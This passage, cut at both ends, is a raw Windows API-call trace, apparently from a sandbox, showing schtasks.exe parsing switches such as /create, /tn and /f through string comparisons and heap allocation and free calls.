5 [0145.915] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.915] lstrlenW (lpString="f") returned 1 [0145.915] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.915] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|query|") returned 7 [0145.915] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|f|") returned 3 [0145.915] lstrlenW (lpString="|query|") returned 7 [0145.915] lstrlenW (lpString="|f|") returned 3 [0145.915] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0145.915] SetLastError (dwErrCode=0x490) [0145.915] lstrlenW (lpString="change") returned 6 [0145.915] lstrlenW (lpString="change") returned 6 [0145.915] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.915] lstrlenW (lpString="f") returned 1 [0145.915] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.916] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|change|") returned 8 [0145.916] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|f|") returned 3 [0145.916] lstrlenW (lpString="|change|") returned 8 [0145.916] lstrlenW (lpString="|f|") returned 3 [0145.916] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0145.916] SetLastError (dwErrCode=0x490) [0145.916] lstrlenW (lpString="run") returned 3 [0145.916] lstrlenW (lpString="run") returned 3 [0145.916] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.916] lstrlenW (lpString="f") returned 1 [0145.916] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.916] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|run|") returned 5 [0145.916] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|f|") returned 3 [0145.916] lstrlenW (lpString="|run|") returned 5 [0145.916] lstrlenW (lpString="|f|") returned 3 [0145.916] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0145.916] SetLastError (dwErrCode=0x490) [0145.916] lstrlenW (lpString="end") returned 3 [0145.916] lstrlenW (lpString="end") returned 3 [0145.916] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.916] lstrlenW (lpString="f") returned 1 [0145.916] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.916] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|end|") returned 5 [0145.916] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|f|") returned 3 [0145.916] lstrlenW (lpString="|end|") returned 5 [0145.916] lstrlenW (lpString="|f|") returned 3 [0145.917] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0145.917] SetLastError (dwErrCode=0x490) [0145.917] lstrlenW (lpString="showsid") returned 7 [0145.917] lstrlenW (lpString="showsid") returned 7 [0145.917] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.917] lstrlenW (lpString="f") returned 1 [0145.917] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.917] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|showsid|") returned 9 [0145.917] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff1d8 | out: _Buffer="|f|") returned 3 [0145.917] lstrlenW (lpString="|showsid|") returned 9 [0145.917] lstrlenW (lpString="|f|") returned 3 [0145.917] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0145.917] SetLastError (dwErrCode=0x490) [0145.917] SetLastError (dwErrCode=0x490) [0145.917] SetLastError (dwErrCode=0x0) [0145.917] lstrlenW (lpString="/f") returned 2 [0145.917] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0145.917] SetLastError (dwErrCode=0x490) [0145.917] SetLastError (dwErrCode=0x0) [0145.917] lstrlenW (lpString="/f") returned 2 [0145.917] GetProcessHeap () returned 0x2a0000 [0145.917] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x6) returned 0x2bdd00 [0145.917] GetProcessHeap () returned 0x2a0000 [0145.917] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bcdf0 [0145.917] SetLastError (dwErrCode=0x0) [0145.917] GetProcessHeap () returned 0x2a0000 [0145.917] GetProcessHeap () returned 0x2a0000 [0145.917] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc230) returned 1 [0145.917] GetProcessHeap () returned 0x2a0000 [0145.918] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bc230) returned 0x8 [0145.918] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc230 | out: hHeap=0x2a0000) returned 1 [0145.918] GetProcessHeap () returned 0x2a0000 [0145.918] GetProcessHeap () returned 0x2a0000 [0145.918] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcc40) returned 1 [0145.918] GetProcessHeap () returned 0x2a0000 [0145.918] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcc40) returned 0x20 [0145.918] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcc40 | out: hHeap=0x2a0000) returned 1 [0145.918] GetProcessHeap () returned 0x2a0000 [0145.918] GetProcessHeap () returned 0x2a0000 [0145.918] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcc70) returned 1 [0145.918] GetProcessHeap () returned 0x2a0000 [0145.919] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcc70) returned 0x1e [0145.919] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcc70 | out: hHeap=0x2a0000) returned 1 [0145.919] GetProcessHeap () returned 0x2a0000 [0145.919] GetProcessHeap () returned 0x2a0000 [0145.919] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcca0) returned 1 [0145.919] GetProcessHeap () returned 0x2a0000 [0145.919] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcca0) returned 0x20 [0145.919] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcca0 | out: hHeap=0x2a0000) returned 1 [0145.919] GetProcessHeap () returned 0x2a0000 [0145.919] GetProcessHeap () returned 0x2a0000 [0145.919] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc2c0) returned 1 [0145.919] GetProcessHeap () returned 0x2a0000 [0145.919] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bc2c0) returned 0x8 [0145.919] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc2c0 | out: hHeap=0x2a0000) returned 1 [0145.919] GetProcessHeap () returned 0x2a0000 [0145.919] GetProcessHeap () returned 0x2a0000 [0145.919] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bccd0) returned 1 [0145.919] GetProcessHeap () returned 0x2a0000 [0145.919] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bccd0) returned 0x20 [0145.920] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bccd0 | out: hHeap=0x2a0000) returned 1 [0145.920] GetProcessHeap () returned 0x2a0000 [0145.920] GetProcessHeap () returned 0x2a0000 [0145.920] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc2e0) returned 1 [0145.920] GetProcessHeap () returned 0x2a0000 [0145.920] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bc2e0) returned 0x10 [0145.920] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc2e0 | out: hHeap=0x2a0000) returned 1 [0145.920] GetProcessHeap () returned 0x2a0000 [0145.920] GetProcessHeap () returned 0x2a0000 [0145.920] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcd00) returned 1 [0145.920] GetProcessHeap () returned 0x2a0000 [0145.920] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcd00) returned 0x20 [0145.921] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcd00 | out: hHeap=0x2a0000) returned 1 [0145.921] GetProcessHeap () returned 0x2a0000 [0145.921] GetProcessHeap () returned 0x2a0000 [0145.921] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc300) returned 1 [0145.921] GetProcessHeap () returned 0x2a0000 [0145.921] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bc300) returned 0x8 [0145.921] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc300 | out: hHeap=0x2a0000) returned 1 [0145.921] GetProcessHeap () returned 0x2a0000 [0145.921] GetProcessHeap () returned 0x2a0000 [0145.921] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcd30) returned 1 [0145.921] GetProcessHeap () returned 0x2a0000 [0145.921] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcd30) returned 0x20 [0145.921] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcd30 | out: hHeap=0x2a0000) returned 1 [0145.922] GetProcessHeap () returned 0x2a0000 [0145.922] GetProcessHeap () returned 0x2a0000 [0145.922] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc420) returned 1 [0145.922] GetProcessHeap () returned 0x2a0000 [0145.922] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bc420) returned 0x8c [0145.922] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc420 | out: hHeap=0x2a0000) returned 1 [0145.922] GetProcessHeap () returned 0x2a0000 [0145.922] GetProcessHeap () returned 0x2a0000 [0145.922] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcd60) returned 1 [0145.922] GetProcessHeap () returned 0x2a0000 [0145.922] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcd60) returned 0x20 [0145.922] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcd60 | out: hHeap=0x2a0000) returned 1 [0145.922] GetProcessHeap () returned 0x2a0000 [0145.923] GetProcessHeap () returned 0x2a0000 [0145.923] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc4c0) returned 1 [0145.923] GetProcessHeap () returned 0x2a0000 [0145.923] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bc4c0) returned 0x8 [0145.923] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc4c0 | out: hHeap=0x2a0000) returned 1 [0145.923] GetProcessHeap () returned 0x2a0000 [0145.923] GetProcessHeap () returned 0x2a0000 [0145.923] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcd90) returned 1 [0145.923] GetProcessHeap () returned 0x2a0000 [0145.923] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcd90) returned 0x20 [0145.923] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcd90 | out: hHeap=0x2a0000) returned 1 [0145.923] GetProcessHeap () returned 0x2a0000 [0145.923] GetProcessHeap () returned 0x2a0000 [0145.923] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd530) returned 1 [0145.923] GetProcessHeap () returned 0x2a0000 [0145.923] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bd530) returned 0x10 [0145.923] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bd530 | out: hHeap=0x2a0000) returned 1 [0145.923] GetProcessHeap () returned 0x2a0000 [0145.923] GetProcessHeap () returned 0x2a0000 [0145.923] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcdc0) returned 1 [0145.923] GetProcessHeap () returned 0x2a0000 [0145.924] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcdc0) returned 0x20 [0145.924] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcdc0 | out: hHeap=0x2a0000) returned 1 [0145.924] GetProcessHeap () returned 0x2a0000 [0145.924] GetProcessHeap () returned 0x2a0000 [0145.924] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd00) returned 1 [0145.924] GetProcessHeap () returned 0x2a0000 [0145.924] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bdd00) returned 0x6 [0145.924] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd00 | out: hHeap=0x2a0000) returned 1 [0145.924] GetProcessHeap () returned 0x2a0000 [0145.924] GetProcessHeap () returned 0x2a0000 [0145.924] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcdf0) returned 1 [0145.924] GetProcessHeap () returned 0x2a0000 [0145.924] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bcdf0) returned 0x20 [0145.925] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bcdf0 | out: hHeap=0x2a0000) returned 1 [0145.925] GetProcessHeap () returned 0x2a0000 [0145.925] GetProcessHeap () returned 0x2a0000 [0145.925] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5490) returned 1 [0145.925] GetProcessHeap () returned 0x2a0000 [0145.925] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2b5490) returned 0x18 [0145.925] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b5490 | out: hHeap=0x2a0000) returned 1 [0145.925] SetLastError (dwErrCode=0x0) [0145.925] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0145.925] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0145.925] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0145.925] VerifyVersionInfoW (in: lpVersionInformation=0xfc230, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0xfc230) returned 1 [0145.925] SetLastError (dwErrCode=0x0) [0145.925] lstrlenW (lpString="create") returned 6 [0145.925] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0145.926] SetLastError (dwErrCode=0x490) [0145.926] SetLastError (dwErrCode=0x0) [0145.926] lstrlenW (lpString="create") returned 6 [0145.926] GetProcessHeap () returned 0x2a0000 [0145.926] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bcdf0 [0145.926] GetProcessHeap () returned 0x2a0000 [0145.926] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x18) returned 0x2bd530 [0145.926] _memicmp (_Buf1=0x2bd530, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.926] GetProcessHeap () returned 0x2a0000 [0145.926] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x16) returned 0x2bd550 [0145.926] SetLastError (dwErrCode=0x0) [0145.926] _memicmp (_Buf1=0x2bbac0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.926] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2bbc60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0145.926] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0145.926] GetProcessHeap () returned 0x2a0000 [0145.926] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x74e) returned 0x2bdd00 [0145.927] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x2bdd00 | out: lpData=0x2bdd00) returned 1 [0145.927] VerQueryValueW (in: pBlock=0x2bdd00, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xfc318, puLen=0xfc380 | out: lplpBuffer=0xfc318*=0x2be09c, puLen=0xfc380) returned 1 [0145.927] _memicmp (_Buf1=0x2bbac0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.927] _vsnwprintf (in: _Buffer=0x2bbc60, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xfc2f8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0145.927] VerQueryValueW (in: pBlock=0x2bdd00, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xfc388, puLen=0xfc378 | out: lplpBuffer=0xfc388*=0x2bdec8, puLen=0xfc378) returned 1 [0145.927] lstrlenW (lpString="schtasks.exe") returned 12 [0145.927] lstrlenW (lpString="schtasks.exe") returned 12 [0145.927] lstrlenW (lpString=".EXE") returned 4 [0145.927] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0145.927] lstrlenW (lpString="schtasks.exe") returned 12 [0145.927] lstrlenW (lpString=".EXE") returned 4 [0145.927] lstrlenW (lpString="schtasks") returned 8 [0145.927] lstrlenW (lpString="/create") returned 7 [0145.927] _memicmp (_Buf1=0x2bbac0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.927] _vsnwprintf (in: _Buffer=0x2bbc60, _BufferCount=0x19, _Format="%s %s", _ArgList=0xfc2f8 | out: _Buffer="schtasks /create") returned 16 [0145.927] _memicmp (_Buf1=0x2bbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.927] GetProcessHeap () returned 0x2a0000 [0145.927] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x20) returned 0x2bcdc0 [0145.928] _memicmp (_Buf1=0x2bbb00, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.928] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2bd2f0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0145.928] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0145.928] GetProcessHeap () returned 0x2a0000 [0145.928] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x30) returned 0x2b7af0 [0145.928] _vsnwprintf (in: _Buffer=0x2bc060, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xfc2f8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0145.928] GetProcessHeap () returned 0x2a0000 [0145.928] GetProcessHeap () returned 0x2a0000 [0145.928] HeapValidate (hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd00) returned 1 [0145.928] GetProcessHeap () returned 0x2a0000 [0145.928] RtlSizeHeap (HeapHandle=0x2a0000, Flags=0x0, MemoryPointer=0x2bdd00) returned 0x74e [0145.928] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd00 | out: hHeap=0x2a0000) returned 1 [0145.928] SetLastError (dwErrCode=0x0) [0145.928] GetThreadLocale () returned 0x409 [0145.928] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.928] lstrlenW (lpString="create") returned 6 [0145.928] GetThreadLocale () returned 0x409 [0145.928] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.928] lstrlenW (lpString="?") returned 1 [0145.929] GetThreadLocale () returned 0x409 [0145.929] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.929] lstrlenW (lpString="s") returned 1 [0145.929] GetThreadLocale () returned 0x409 [0145.929] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.929] lstrlenW (lpString="u") returned 1 [0145.929] GetThreadLocale () returned 0x409 [0145.929] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.929] lstrlenW (lpString="p") returned 1 [0145.929] GetThreadLocale () returned 0x409 [0145.929] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.929] lstrlenW (lpString="ru") returned 2 [0145.929] GetThreadLocale () returned 0x409 [0145.929] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.929] lstrlenW (lpString="rp") returned 2 [0145.929] GetThreadLocale () returned 0x409 [0145.929] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.929] lstrlenW (lpString="sc") returned 2 [0145.929] GetThreadLocale () returned 0x409 [0145.929] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.929] lstrlenW (lpString="mo") returned 2 [0145.929] GetThreadLocale () returned 0x409 [0145.929] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.929] lstrlenW (lpString="d") returned 1 [0145.929] GetThreadLocale () returned 0x409 [0145.929] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.929] lstrlenW (lpString="m") returned 1 [0145.929] GetThreadLocale () returned 0x409 [0145.929] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.930] lstrlenW (lpString="i") returned 1 [0145.930] GetThreadLocale () returned 0x409 [0145.930] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.930] lstrlenW (lpString="tn") returned 2 [0145.930] GetThreadLocale () returned 0x409 [0145.930] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.930] lstrlenW (lpString="tr") returned 2 [0145.930] GetThreadLocale () returned 0x409 [0145.930] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.930] lstrlenW (lpString="st") returned 2 [0145.930] GetThreadLocale () returned 0x409 [0145.930] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.930] lstrlenW (lpString="sd") returned 2 [0145.930] GetThreadLocale () returned 0x409 [0145.930] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.930] lstrlenW (lpString="ed") returned 2 [0145.930] GetThreadLocale () returned 0x409 [0145.930] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.930] lstrlenW (lpString="it") returned 2 [0145.930] GetThreadLocale () returned 0x409 [0145.930] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.930] lstrlenW (lpString="et") returned 2 [0145.930] GetThreadLocale () returned 0x409 [0145.930] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.930] lstrlenW (lpString="k") returned 1 [0145.930] GetThreadLocale () returned 0x409 [0145.930] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.930] lstrlenW (lpString="du") returned 2 [0145.930] GetThreadLocale () returned 0x409 [0145.931] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.931] lstrlenW (lpString="ri") returned 2 [0145.931] GetThreadLocale () returned 0x409 [0145.931] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.931] lstrlenW (lpString="z") returned 1 [0145.931] GetThreadLocale () returned 0x409 [0145.931] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.931] lstrlenW (lpString="f") returned 1 [0145.931] GetThreadLocale () returned 0x409 [0145.931] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.931] lstrlenW (lpString="v1") returned 2 [0145.931] GetThreadLocale () returned 0x409 [0145.931] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.931] lstrlenW (lpString="xml") returned 3 [0145.931] GetThreadLocale () returned 0x409 [0145.931] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.931] lstrlenW (lpString="ec") returned 2 [0145.931] GetThreadLocale () returned 0x409 [0145.931] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.931] lstrlenW (lpString="rl") returned 2 [0145.931] GetThreadLocale () returned 0x409 [0145.931] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.931] lstrlenW (lpString="delay") returned 5 [0145.931] GetThreadLocale () returned 0x409 [0145.931] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0145.931] lstrlenW (lpString="np") returned 2 [0145.931] SetLastError (dwErrCode=0x0) [0145.931] SetLastError (dwErrCode=0x0) [0145.931] lstrlenW (lpString="/create") returned 7 [0145.931] lstrlenW (lpString="-/") returned 2 [0145.932] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0145.932] lstrlenW (lpString="create") returned 6 [0145.932] lstrlenW (lpString="create") returned 6 [0145.932] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.932] lstrlenW (lpString="create") returned 6 [0145.932] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.932] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|create|") returned 8 [0145.932] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|create|") returned 8 [0145.932] lstrlenW (lpString="|create|") returned 8 [0145.932] lstrlenW (lpString="|create|") returned 8 [0145.932] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0145.932] SetLastError (dwErrCode=0x0) [0145.932] SetLastError (dwErrCode=0x0) [0145.932] SetLastError (dwErrCode=0x0) [0145.932] lstrlenW (lpString="/tn") returned 3 [0145.932] lstrlenW (lpString="-/") returned 2 [0145.932] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0145.932] lstrlenW (lpString="create") returned 6 [0145.932] lstrlenW (lpString="create") returned 6 [0145.932] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.932] lstrlenW (lpString="tn") returned 2 [0145.932] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.932] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x9, _Format="|%s|", 